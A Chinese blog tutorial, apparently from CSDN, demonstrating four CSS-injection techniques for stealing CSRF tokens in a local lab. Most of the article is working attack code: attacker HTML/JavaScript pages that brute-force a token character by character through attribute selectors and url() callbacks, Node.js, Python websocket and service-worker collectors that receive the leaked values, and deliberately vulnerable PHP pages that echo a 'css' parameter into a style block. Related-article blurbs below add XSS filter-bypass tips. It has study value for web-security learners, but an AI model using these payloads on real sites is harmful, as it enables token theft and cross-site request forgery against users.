CSS注入的四种实现方式

于 2023-11-12 12:04:23 发布
阅读量1.8k 收藏 2
点赞数 2
分类专栏： 前端 安全 文章标签： css 前端 web安全 安全 注入 学习 开发语言
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_68163788/article/details/134341847
版权
安全 同时被 2 个专栏收录
155 篇文章 6 订阅
订阅专栏
前端
23 篇文章 1 订阅
订阅专栏

目录

CSS注入窃取标签属性数据

简单的一个实验：

解决hidden

方法1：js+node.js实现

侧信道攻击

方法2：对比波兰研究院的方案

使用兄弟选择器

方法3：js+websocket实现CSS注入

实验实现：

方法4：window.open结合serviceworker

实验验证：

现代浏览器都已经不允许在CSS中执行JavaScript了，以前的CSS注入可以利用JavaScript协议在url（）、expression（）中执行JavaScript代码从而实现XSS。

但是目前CSS注入在窃取数据方面仍然非常有用的，下面分别来分析一下CSS注入 窃取标签属性数据CSS中可以使用数据选择器，根据不同的属性选择标签。

例：

<style>
p[a="abc"]{color :red ;}
</style>
<p a="abc">hello world</p>

数据选择器还可以匹配一些特征，比如xxx开头或者xxx结尾等。

CSS注入窃取标签属性数据

利用上面的性质我们可以看出来窃取页面标签属性中的数据，比如下面当csrfToken以某个字母开头时，可以通过url（）通知攻击者，从而窃取csrfToken的第一位的值：

简单的一个实验：

在CSSinject目录下面新建

（1）css.html：

<!DOCTYPE html>
<html lang="en">
​
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CSS</title>
    <link rel="stylesheet" href="./css.css">
    <!-- 这里将css样式引入到hmtl页面中 -->
</head>

​
<body>
​<input type="text" name="csrf" value="abcdef">;
</body>
​
</html>

这里首先引入了css.css样式 ，然后有一个输入，名为csrf，值为abcdef

（2）css.css：

input[name="csrf"][value^="a"] {
    background: url(https://www.baidu.com);
}

这里就是通过标签选择器，选择到了name=csrf并且value是以a开头的输入，给它 设置一个背景，背景的URL是www.baidu.com

（3）测试

这里查看很明显成功的访问了

解决hidden

当然还有个问题，当标签type=hidden时浏览器是不允许我们设置background的，这样就无法触发

url（）请求服务器解决方法之一是利用~CSS的兄弟选择器（必须是同一个父母），选择为后续所

有兄弟节点设置background。

方法1：js+node.js实现

侧信道攻击

（1）css.html


<!DOCTYPE html>
<html lang="en">
​
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>侧信道攻击</title>
</head>
​
<style>
    #frames {
        visibility: hidden;
    }
</style>
​
<body>
    <div id="current"></div>
    <div id="time_to_next"></div>
    <div id="frames"></div>
</body>
<script>
    vuln_url = 'http://www.security.com/css.php?css=';
    server_receive_token_url = 'http://127.0.0.1:8083/receive/';
    server_return_token_url = 'http://127.0.0.1:8083/return';
    chars = "ABCDEFGHIJKLMOPQRSTUVWXYZabcdefghigklimnopqrstuvwxyz1234567890".split("");
    //md5其实全部都是小写的英文，这里完全可以将这些大写的英文删除掉
    known = "";
    function test_char(known, chars) {
        document.getElementById('frames').innerHTML = "";
        css = build_css(chars.map(v => known + v));
        frame = document.createElement('iframe');
        frame.src = vuln_url + css;
        frame.style = "visibility:hidden;";
        document.getElementById("frames").appendChild(frame);
​
        setTimeout(function () {//监听
            var oReq = new XMLHttpRequest();
            oReq.addEventListener("load", known_listener);
            oReq.open("GET", server_return_token_url);
            oReq.send();
        }, 1000);
    }
    function build_css(values) {//拼接
        css_payload = "";
        for (var value in values) {
            css_payload += "input[value^=\""
                + values[value]
                + "\"]{background-image:url("
                + server_receive_token_url
                + values[value]
                + ")%3B}";
        }
        return css_payload;
    }
    function known_listener() {//请求
        document.getElementById("current").innerHTML = "Current Token:" + this.responseText;
        if (known != this.responseText) {
            known = this.responseText;
            test_char(known, chars);
        }
        else {
            known = this.responseText;
            alert("CSRF token is :" + known);
        }
    }
    test_char("", chars);
</script>
​
</html>

（2）css.css 

input[name="csrf"][value^="0"] {
    background: url(https://www.baidu.com);
}

（3）css.php

<?php
$token1=md5($_SERVER['HTTP_USER_AGENT']); //使用头部的一个字段生成了一段md5值
$token2=md5($token1); //这里将token1的值赋值给了token2
?>
<!doctype html><meta charset=utf-8>
<input  value=<?=$token1?>>
​
<script>
var TOKEN="<?=$token2?>";
</script>
<style>
<?=preg_replace('#</style#i','#', $_GET['css'])?> 
/* 这里 */
/* 如果遇到了style,并且忽略大小写,将其替换#,防止闭合style标签 */
</style>

（4）css.js

首先需要一个服务端，用来存储生成的md5值

var express = require('express');
var app = express();
var path = require('path');
var token = "";
​
//采用CORS实现跨域，允许被攻击页面向服务器发送请求
app.all("*", function (req, res, next) {
    //设置允许跨域的域名，*代表允许任意域名跨域
    res.header("Access-Control-Allow-Origin", "*");
    res.header("Access-Control-Allow-Methods", 'PUT,POST,GET,DELETE,OPTIONS');
    res.header("Access-Control-Allow-Credentials", true);
    next()
})
​
//处理receive页面请求 --- 接收参数token
app.get('/receive/:token', function (req, res) {
    token = req.params.token;
    console.log(token)
    res.send('ok');
});
​
//return页面请求，向客户端返回刚获取到的token
app.get('/return', function (req, res) {
    res.send(token);
});
​
//返回恶意页面
app.get('/css.html', function (req, res) {
    res.sendFile(path.join(__dirname, 'css.html'));
})
​
//配置本地服务器
var server = app.listen(8083, function () {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

（5）测试

首先模拟服务端使用node运行css.js


然后在浏览器中输入www.security.com/css.html

可以看到成功的爆破出了服务端生成的随机Token

那再看看服务端：

服务端这里也将Token的值逐步的打印了出来

结论：使用iframe将受害页面包含进来，可以对其进行CSS注入。

获取token，token存储位置：服务端创建变量token转发给客户端，并且将token数值打印输出到服务端。

方法2：对比波兰研究院的方案

（1）css.html

<!doctype html>
<meta charset=utf-8>
<script src="./css.js"></script>
<big id=token></big><br>
<iframe id=iframe></iframe>
<script>
    (async function () {
        const EXPECTED_TOKEN_LENGTH = 32;
        const ALPHABET = Array.from("0123456789abcdef");
        const iframe = document.getElementById('iframe');
        let extractedToken = '';
​
        while (extractedToken.length < EXPECTED_TOKEN_LENGTH) {
            clearTokenCookie();  //清空cookie
            createIframeWithCss();
            extractedToken = await getTokenFromCookie();
​
            document.getElementById('token').textContent = extractedToken;
        }
​
        function getTokenFromCookie() {
            return new Promise(resolve => {
                const interval = setInterval(function () { //一直执行，直到cookie的值取出来
                    const token = Cookies.get('token'); //直接使用cookie获取token
                    if (token) {
                        clearInterval(interval);
                        resolve(token);
                    }
                }, 50);
            });
        }
​
        function clearTokenCookie() {
            Cookies.remove('token');
        }
​
        function generateCSS() {
            let css = '';
            for (let char of ALPHABET) {
                css += `input[value^="${extractedToken}${char}"] {
background: url(http://127.0.0.01:3000/token/${extractedToken}${char})
}`;
            }
​
            return css;
        }
        function createIframeWithCss() {
            iframe.src = 'http://www.security.com/css.php/?css=' + encodeURIComponent(generateCSS());
        }
​
    })();
</script>

（2）css.js

const express = require('express');
const app = express();
// Serwer ExprssJS domyślnie dodaje nagłówek ETag,
// ale nam nie jest to potrzebne, więc wyłączamy.
app.disable('etag');
​
const PORT = 3000;
​
// Obsługa zapytania przyjmującego token jako połączenie
// zwrotne.
app.get('/token/:token', (req, res) => {
    const { token } = req.params;
​
    // W odpowiedzi po prostu ustawiane jest ciasteczko o nazwie
    // token i tej samej wartości, która została przekazana w URL-u
    res.cookie('token', token);
    console.log(token);
    res.send('');
});
​
app.get('/css.js', (req, res) => {
    res.sendFile('js.cookie.js', {
        root: './node_modules/js-cookie/src/'
    });
});
​
app.get('/css.html', (req, res) => {
    res.sendFile('index.html', {
        root: '.'
    });
});
​
app.listen(PORT, () => {
    console.log(`Listening on ${PORT}...`);
})
​

（3）css.css

input[name="csrf"][value^="0"] {
    background: url(https://www.baidu.com);
}

（4）css.php

<?php
$token1=md5($_SERVER['HTTP_USER_AGENT']); //使用头部的一个字段生成了一段md5值
$token2=md5($token1); //这里将token1的值赋值给了token2
?>
<!doctype html><meta charset=utf-8>
<input  value=<?=$token1?>>
​
<script>
var TOKEN="<?=$token2?>";
</script>
<style>
<?=preg_replace('#</style#i','#', $_GET['css'])?> 
/* 这里 */
/* 如果遇到了style,并且忽略大小写,将其替换#,防止闭合style标签 */
</style>

（5）安装js-cookie库

在VScode中创建一个名为package.json文件，并且将以下内容进行写入

{
    "name": "css-attack-1",
    "version": "1.0.0",
    "description": "",
    "main": "index.js",
    "dependencies": {
        "express": "^4.15.5",
        "js-cookie": "^2.1.4"
    },
    "devDependencies": {},
    "author": "",
    "license": "ISC"
}

进入CMD命令行，移动到对应目录下：npm install

（6）这时候使用node监控 3000端口

（7）监控完成后，这时候就可以尝试访问www.security.com/css.html

可以看到，成功的爆出了Token的值

服务端：

注：如果访问不成功可以尝试换一个浏览器再次尝试访问

使用兄弟选择器

这里可以尝试将php中的input中修改类型为hidden，然后再尝试访问就会发现访问失败

<input  type="hidden"<?=$token1?>> //修改后
<input  type=<?=$token1?>> //原

再次访问：

可以看到，这个现在没有了输入框。因此无法爆出Token值

解决办法：使用兄弟元素

css.php文件

<input  type="hidden"<?=$token1?>> //原
<input  type="text"<?=$token1?>> //增加的

css.html文件

测试：

可以看到，成功的拿到了Token

方法3：js+websocket实现CSS注入

实验实现：

（1）websocket服务端

使用paycharm软件

需要进行WebSocketServer导包：

pip install SimpleWebSocketServer

我这里因为之前已经导入过了，所以没有下载 

（2）服务端配置

from http.server import HTTPServer, BaseHTTPRequestHandler
from threading import Thread
from socketserver import ThreadingMixIn
from SimpleWebSocketServer import SimpleWebSocketServer, WebSocket
PORT_HTTP = 8008
PORT_WS = 8000

class RequestHandler(BaseHTTPRequestHandler, WebSocket):
    def do_GET(self):
        """Respond to a GET request."""
        print("http GET request")
        self.send_response(200)
        self.end_headers()
        ws.sendMessage(self.path)
        return

class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
    """Handle requests in a separate thread."""

class SimpleEcho(WebSocket):

    def handleMessage(self):
        # echo message back to client
        print(self.address, 'new msg')
        #self.sendMessage(self.data)

    def handleConnected(self):
        print(self.address, 'connected, opening http server')
        global ws
        ws = self
        httpd = ThreadedHTTPServer(("", PORT_HTTP), RequestHandler)
        server_thread = Thread(target=httpd.serve_forever)
        server_thread.daemon = True
        server_thread.start()
        print('http is on 8000,and ws is on 8008:')

    def handleClose(self):
        print(self.address, 'closed')

server = SimpleWebSocketServer('', PORT_WS, SimpleEcho)
server.serveforever()

（3）js_websocket.html 

<!DOCTYPE html>
<html lang="en">
​
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
​
<body>
    <div id="div"></div>
    <iframe id="leakchar"></iframe>
</body>
<script>
    const WS = "ws://127.0.0.1:8000";
    const HTTP = "http://127.0.0.1:8008";
    const ALPHABET = Array.from("0123456789abcdef");
    var s = new WebSocket(WS);
​
    s.onopen = function (event) {
        console.log('connection open');
        next('');
    }
    s.onmessage = function (event) {
        let token = event.data.match(/\w+/)[0];
        next(token);
    }
    s.onclose = function (event) {
        console.log('bye');
    }
​
    function next(token) {
        if (token.length < 32) {
            console.log('leaking ' + token + '* ...');
            document.getElementById('leakchar').src = 'http://www.security.com/CSSinject/js_websocket.php?css=' + generateCSS(token);
        } else {
            console.log('done, lets pwn');
            changeEmail(token);
        }
    }
​
    function generateCSS(token) {
        let css = '';
        for (let char of ALPHABET) {
            css += `input[value^="${token}${char}"] ~*{background: url(http://127.0.0.1:8008/${token}${char})}`;
        }
​
        return css;
    }
​
    function changeEmail(token) {
        var div = document.getElementById("div");
        div.innerHTML = token;
    }
</script>
​
</html>

（4）js_websocket.php

<?php
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
var_dump($token2);
?>
​
<!doctype html><meta charset=utf-8>
​
<input name="csrf" type=hidden value=<?=$token2 ?>>
<input >
<script>
var TOKEN = "<?=$token2 ?>";
</script>
​
<style>
/* 正则替换style闭合标签，防止恶意闭合，get方法获取css参数 */
<?=preg_replace('#</style#i', '#', $_GET['css']) ?>
</style>
​

（5）测试

首先开启pytcharm，运行服务器

然后浏览器尝试访问127.0.0.1/CSSinject/js_websocket.html

浏览器返回：

pytcharm返回：

可以看到成功的拿到了Token

方法4：window.open结合serviceworker

github上下载软件包：

GitHub - dxa4481/cssInjection: Stealing CSRF tokens with CSS injection (without iFrames)

实验验证：

（1）attacker.html

<html>
​
<body onclick="potatoes(0)">click somewhere to begin attack</body>
<script>
    (function () {
        if ('serviceWorker' in navigator) {
            navigator.serviceWorker.register('./sw.js');
        }
    })()
    //这里注册时加载sw.js，注册后就可以监听到了
    localStorage.removeItem('csrfToken');
    var potatoes = function (count) {
        var csrfToken = localStorage.getItem("csrfToken");
        if (!csrfToken) { //第二次
            csrfToken = '';
        }
        var css = `#sensitiveForm input[value^='${csrfToken}a'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}a); } #sensitiveForm input[value^='${csrfToken}b'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}b); } #sensitiveForm input[value^='${csrfToken}c'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}c); } #sensitiveForm input[value^='${csrfToken}d'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}d); } #sensitiveForm input[value^='${csrfToken}e'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}e); } #sensitiveForm input[value^='${csrfToken}f'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}f); } #sensitiveForm input[value^='${csrfToken}g'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}g); } #sensitiveForm input[value^='${csrfToken}h'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}h); } #sensitiveForm input[value^='${csrfToken}i'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}i); } #sensitiveForm input[value^='${csrfToken}j'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}j); } #sensitiveForm input[value^='${csrfToken}k'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}k); } #sensitiveForm input[value^='${csrfToken}l'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}l); } #sensitiveForm input[value^='${csrfToken}m'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}m); } #sensitiveForm input[value^='${csrfToken}n'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}n); } #sensitiveForm input[value^='${csrfToken}o'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}o); } #sensitiveForm input[value^='${csrfToken}p'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}p); } #sensitiveForm input[value^='${csrfToken}q'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}q); } #sensitiveForm input[value^='${csrfToken}r'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}r); } #sensitiveForm input[value^='${csrfToken}s'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}s); } #sensitiveForm input[value^='${csrfToken}t'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}t); } #sensitiveForm input[value^='${csrfToken}u'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}u); } #sensitiveForm input[value^='${csrfToken}v'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}v); } #sensitiveForm input[value^='${csrfToken}w'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}w); } #sensitiveForm input[value^='${csrfToken}x'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}x); } #sensitiveForm input[value^='${csrfToken}y'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}y); } #sensitiveForm input[value^='${csrfToken}z'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}z); } #sensitiveForm input[value^='${csrfToken}A'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}A); } #sensitiveForm input[value^='${csrfToken}B'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}B); } #sensitiveForm input[value^='${csrfToken}C'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}C); } #sensitiveForm input[value^='${csrfToken}D'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}D); } #sensitiveForm input[value^='${csrfToken}E'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}E); } #sensitiveForm input[value^='${csrfToken}F'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}F); } #sensitiveForm input[value^='${csrfToken}G'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}G); } #sensitiveForm input[value^='${csrfToken}H'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}H); } #sensitiveForm input[value^='${csrfToken}I'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}I); } #sensitiveForm input[value^='${csrfToken}J'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}J); } #sensitiveForm input[value^='${csrfToken}K'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}K); } #sensitiveForm input[value^='${csrfToken}L'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}L); } #sensitiveForm input[value^='${csrfToken}M'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}M); } #sensitiveForm input[value^='${csrfToken}N'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}N); } #sensitiveForm input[value^='${csrfToken}O'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}O); } #sensitiveForm input[value^='${csrfToken}P'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}P); } #sensitiveForm input[value^='${csrfToken}Q'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}Q); } #sensitiveForm input[value^='${csrfToken}R'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}R); } #sensitiveForm input[value^='${csrfToken}S'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}S); } #sensitiveForm input[value^='${csrfToken}T'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}T); } #sensitiveForm input[value^='${csrfToken}U'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}U); } #sensitiveForm input[value^='${csrfToken}V'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}V); } #sensitiveForm input[value^='${csrfToken}W'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}W); } #sensitiveForm input[value^='${csrfToken}X'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}X); } #sensitiveForm input[value^='${csrfToken}Y'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}Y); } #sensitiveForm input[value^='${csrfToken}Z'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}Z); } #sensitiveForm input[value^='${csrfToken}0'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}0); } #sensitiveForm input[value^='${csrfToken}1'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}1); } #sensitiveForm input[value^='${csrfToken}2'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}2); } #sensitiveForm input[value^='${csrfToken}3'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}3); } #sensitiveForm input[value^='${csrfToken}4'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}4); } #sensitiveForm input[value^='${csrfToken}5'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}5); } #sensitiveForm input[value^='${csrfToken}6'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}6); } #sensitiveForm input[value^='${csrfToken}7'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}7); } #sensitiveForm input[value^='${csrfToken}8'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}8); } #sensitiveForm input[value^='${csrfToken}9'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}9); }`
        var win2 = window.open('http://127.0.0.1/openlab/cssinjection/index.php', 'f', "top=100000,left=100000,menubar=1,resizable=1,width=1,height=1")
        var win2 = window.open(`http://127.0.0.1/openlab/cssinjection/victim.html?injection=${css}`, 'f', "top=100000,left=100000,menubar=1,resizable=1,width=1,height=1")
        win2.blur();
        var newCount = count + 1;
        if (csrfToken.length == 20) {
            return null;
        }
        setTimeout(function () {
            potatoes(newCount);
        }, 2000);
    }
    window.addEventListener('storage', function (e) { //监听storage事件
        if (e.key == "csrfToken") {
            document.getElementById("CSRFToken").innerHTML = e.newValue;
        }
    }); 
</script>
</br>
The CSRF token is:
<div id="CSRFToken"></div>
​
</html>

（2）mockingTheBackend.js

navigator.serviceWorker.addEventListener("message", receiveMessage);
function receiveMessage(event) {
    console.log("got message");
    localStorage.setItem("csrfToken", event.data);
}

（3）sw.js 

self.addEventListener('fetch', function (event) { //监听fetch事件就是
    var urlLogged = event.request.url; //监听到请求
    if (urlLogged.indexOf("/log.php/") >= 0 && urlLogged.indexOf("victim") == -1) {
        //这里这里是否有log.php并且是否有请求页面
        var splitted = urlLogged.split("/log.php/");
        var csrfToken = splitted[splitted.length - 1];
        console.log(csrfToken);
        self.clients.matchAll().then(all => all.map(client => client.postMessage(csrfToken))); //
    }
});

（4）victim.html

<html>
<form action="http://127.0.0.1" id="sensitiveForm">
    <input id="secret" name="secret" value="dJ7cwON4BMyQi3Nrq26i">
</form>
<script>
    var fragment = decodeURIComponent(window.location.href.split("?injection=")[1]);
    var htmlEncode = fragment.replace(/</g, "&lt;").replace(/>/g, "&gt;");
    document.write("<style>" + htmlEncode + "</style>");
</script>
<script src="./mockingTheBackend.js"></script>
​
</html>

（5）测试

未点击前：

点击后:

未知百分百
关注
  • 2
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
专栏目录
html框架注入漏洞iframe,利用CSS注入（无iFrames）窃取CSRF令牌
weixin_36054993的博客
06-08 741
CSS相信大家不会陌生，在百度百科中它的解释是一种用来表现HTML(标准通用标记语言的一个应用)或XML(标准通用标记语言的一个子集)等文件样式的计算机语言。那么，它仅仅只是一种用来表示样式的语言吗？当然不是！其实早在几年前，CSS就已被安全研究人员运用于渗透测试当中。这里有一篇文章就为我们详细介绍了一种，使用属性选择器和iFrame，并通过CSS注入来窃取敏感数据的方法。但由于该方法需要iFra...
JS注入CSS到页面
liuyikk163的专栏
09-17 5494
首先是IE下的注入。 可以用link的方式，这样其实最简单。 只要javascript来创建一个link标签： var link = document.createElement('link'); document.body.appendChile(link); lin
CSS注入「CSS Inject」-crx插件
03-21
将任何托管CSS文件注入任何网页 允许将任何托管CSS文件注入任何网页。新（8/13/2012）：**修复了导致扩展中断的部署错误。新功能（2012年5月5日）：**更新为可与更新版本的Chrome配合使用（使用清单版本2）功能：**指定要注入的任何托管CSS文件（本地文件必须托管在http：// localhost /〜下） -Chrome的安全性限制）**单击可打开/关闭注入**仅本机JavaScript-不包含库或不必要的代码来拖慢您的速度为什么要这样做？：**这有助于主题网站（如Wordpress）或Tumblr。在某些情况下，您正在为网站模板开发复杂的样式表，但无法轻松更新服务器上CSS文件 **使用此插件：您可以处理本地主机托管CSS文件，只需单击保存，即可立即查看结果。不再需要将CSS复制和粘贴到服务器上或通过FTP将其复制到服务器上 **其他CSS操作插件仅注入自己的静态CSS，或使您复制并粘贴到盒子中。我敢肯定，还有其他一些用例。如果有，请告诉我！ 支持语言:English
关于css动态样式注入，你不知道的那些冷知识
weixin_33788244的博客
11-08 836
前言 作为一个前端，我们都听过结构，样式，行为分离；关于样式，我们都听过外联样式，内联样式和行内样式；关于这三者，什么权重啊，啊，对了，这些都不会出现在这篇文章里，这篇文章就说一些那些我们不怎么使用的，动态引入css样式的方法； 静态样式引入 前面说过外联样式，内联样式和行内样式，所谓外联样式，即样式文件是一个单独的css文件，通过lin...
利用CSS注入（无iFrames）窃取CSRF令牌
前端大全
03-03 971
（点击上方公众号，可快速关注）编译：FreeBuf.COMhttp://www.freebuf.com/articles/web/162687.htmlCSS相信大家不会陌生，在百度百科中它的解释是一种用来表现HTML（标准通用标记语言的一个应用）或XML（标准通用标记语言的一个子集）等文件样式的计算机语言。那么，它仅仅只是一种用来表示样式的语言吗？当然不是！其实早在几年前，CSS就已被安全研究人
css 变量注入
fly_666的博客
04-27 207
<template> <div class="box" :style="styleVar"> </div> </template> <script> export default { props: { height: { type: Number, default: 54, }, }, computed: { styleVar() { return {
CSS注入 1.0
好好睡觉
11-09 1740
CSS注入、CSS注入示例
css 注入,CSS injection 知识总结
weixin_39608613的博客
08-03 1146
现代浏览器都已不允许在CSS中执行JavaScript了，以前的CSS注入可以利用JavaScript协议在 url() 、 expression() 中执行Javascript代码从而实现XSS。但是目前CSS注入在窃取数据方面仍然是非常有用的，下面分别来分析一下。CSS 注入 窃取标签属性数据CSS中可以使用属性选择器，根据不同的属性选择标签。比如下面CSS选择含有a属性且其值为abc的p标签...
通过css注入实现android webview的夜间模式
08-15
在Android开发中，Webview是一...总之，通过CSS注入的方式实现Android Webview的夜间模式是一种灵活且高效的方法。它允许开发者在不修改网页源码的前提下，轻松地切换应用的视觉风格，满足用户在不同光线环境下的需求。
AngularJS实现CSS动画.rar
04-02
在AngularJS中实现CSS动画是将动态Web应用提升用户体验的重要手段。AngularJS是一个强大的JavaScript框架，它允许开发者构建响应式且交互丰富的单页应用程序（SPA）。而CSS动画则为这些应用添加了视觉上的吸引力和...
react-一个简单的注入CSS的React组件
08-15
一个简单的注入CSS的React组件
CSS injection 知识总结
01-21
现代浏览器都已不允许在CSS中执行JavaScript了，以前的CSS注入可以利用JavaScript协议在 url() 、 [removed]) 中执行Javascript代码从而实现XSS。但是目前CSS注入在窃取数据方面仍然是非常有用的，下面分别来分析一下。 CSS 注入 窃取标签属性数据 CSS中可以使用属性选择器，根据不同的属性选择标签。比如下面CSS选择含有a属性且其值为abc的p标签。 <style>p[a=abc]{ color: red;}</style> <p a=abc>hello world</p> 属性选择器还可以匹配值的一些特性，比如以XXX开头、以
通过css注入实现的android webview的夜间模式
12-21
在本主题中，“通过CSS注入实现的Android Webview的夜间模式”指的是不依赖于系统设置或改变屏幕亮度，而是通过修改网页自身的CSS样式来达到夜间模式的效果。 首先，我们需要理解Webview的工作原理。Webview是...
CSS3实现3D折叠字体效果特效代码
03-20
在本文中，我们将深入探讨...总的来说，CSS3的3D折叠字体效果是利用3D变换和透视属性创造的一种视觉奇观，可以增强网站的设计感和用户体验。通过理解和实践这些技术，设计师可以为他们的项目注入更多的创新和动态元素。
react-react面试题之引入css的方式.zip
最新发布
03-20
每种引入CSS的方式都有其适用场景和优缺点，开发者应根据项目需求选择。例如，小型项目可能适合内联样式或CSS Modules，而大型项目可能需要CSS预处理器或CSS-in-JS来实现更好的样式管理。理解并掌握这些方法，能够...
css 注入,关于注入(css/c.js)
weixin_35595485的博客
08-03 385
这几天朋友的网站天天被搞破坏的人恶意注入，也许是程序没写好的原因，数据库每个字段加了一段script(，而这个script地址时不时的有变化)。用一些搜索引擎搜索下：/css/c.js>，发现好多网站居然都有这个问题。通过iis日志捕捉到注入的原型是以下形式：;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0x4400650063006C00610072006...
CSS注入 2.0
好好睡觉
01-15 1568
CSS注入实现、CSS注入原理、
安全基础第六天:css注入
weixin_62870380的博客
03-27 1572
我是垃圾，没做出来，别看
css防注入,CSS注入
weixin_39569894的博客
08-03 477
css就已被安全研究人员运用于渗透测试当中。使用属性选择器和iFrame，并通过css注入来窃取敏感数据的方法。但由于该方法需要iFrame，而大多数主流站点都不允许该操作，因此这种攻击方法并不实用。这里为大家详细介绍一种不需要iframe且只需10秒，就能为获得CSRF token的方法。什么是css注入大家对XSS攻击都非常熟悉了，可能很少关注到css注入攻击，以下行为有可能受到css注入攻击...
xss注入中<>被过滤绕过方式
05-30
在XSS注入中，<>被过滤是比较常见的一种情况。如果过滤了<>字符，我们可以尝试使用以下方式来绕过过滤： 1. 使用HTML字符编码：可以使用HTML字符编码来绕过过滤。例如，可以将"<"字符编码为"<"，">"字符编码为">"，这样就可以绕过过滤，注入攻击代码。 2. 使用JavaScript生成：可以使用JavaScript代码来生成HTML标签，从而绕过过滤。例如，可以使用document.createElement()方法来动态创建HTML标签。 3. 使用CSS样式：可以使用CSS样式来隐藏HTML标签，从而绕过过滤。例如，可以使用display:none;来隐藏HTML标签。 需要注意的是，这些绕过方式并不是万能的，具体的绕过方法还需要根据具体的过滤规则进行调整和实现。同时，我们也要重视防范XSS攻击，采取严格的输入过滤和输出转义等措施来防止XSS攻击。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

